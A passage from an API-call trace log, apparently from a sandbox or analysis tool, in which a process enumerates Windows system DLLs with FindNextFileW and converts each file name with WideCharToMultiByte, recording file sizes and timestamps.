cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0038.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x94c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0038.722] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0038.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x94c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0038.722] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0038.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x94c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0038.722] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0038.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x94c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0038.723] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0038.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x94c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0038.723] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0038.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.723] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0038.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x94c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0038.723] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0038.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x94c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0038.723] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0038.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x94c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0038.723] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0038.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.723] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0038.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x94c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0038.723] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0038.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x94c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0038.724] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0038.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.724] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0038.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.724] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0038.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x94c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.724] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0038.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.724] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0038.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.725] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0038.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.725] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0038.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x94c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.725] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0038.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.725] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0038.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.725] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0038.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.725] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0038.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.725] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0038.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 